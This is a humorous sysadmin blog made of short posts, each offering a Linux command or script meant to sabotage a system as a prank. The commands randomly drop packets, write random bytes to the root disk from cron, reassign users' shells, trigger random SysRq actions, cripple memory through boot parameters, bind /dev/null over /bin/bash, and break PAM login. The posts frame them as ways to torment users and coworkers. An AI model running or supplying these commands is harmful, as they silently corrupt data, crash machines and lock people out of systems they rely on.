Breaking Systems for Fun and Profit

N[eo]tworking…

Mule — Wed, 17 Feb 2010 14:11:36 +0000

iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP

Accelerated bitrot

Mule — Mon, 18 Jan 2010 17:53:41 +0000

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

We don’t play favourites.

Mule — Tue, 12 Jan 2010 19:28:09 +0000

Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

for I in $(getent passwd | cut -d: -f1 )
do
    chsh -s $(sort -R /etc/shells | head -n1) ${I}
done

Add some spice to your life

Mule — Wed, 16 Dec 2009 10:47:57 +0000

Spice up your life a bit with the following command:

echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime

No Reservations?

Mule — Tue, 15 Dec 2009 11:00:31 +0000

tune2fs -m50 $(mount | awk '/on \/ type/{print $1}')

Bad memory

Mule — Mon, 14 Dec 2009 10:21:46 +0000

This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:

sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf

Bound to nothing…

Mule — Wed, 11 Nov 2009 19:23:55 +0000

Add this little sucker to /etc/fstab and reboot:

/dev/null    /bin/bash    bind   bind   0 0

sysfunboost

Mule — Thu, 22 Oct 2009 15:18:24 +0000

bmr just pointed me towards this one.

It looks like a nice way to annoy your cow-orkers…

Speed? What speed?

Mule — Wed, 14 Oct 2009 12:30:39 +0000

This one got submitted by Ray:

echo "base=0x00000000 size=0xffffffff type=uncachable" > /proc/mtrr

It works best if you put it in rc.sysinit or any other place early in your boot sequence.

What login?

Mule — Wed, 14 Oct 2009 08:20:19 +0000

Try and have some fun with this one:

sed -i 's/unix/time/g' /etc/pam.d/system-auth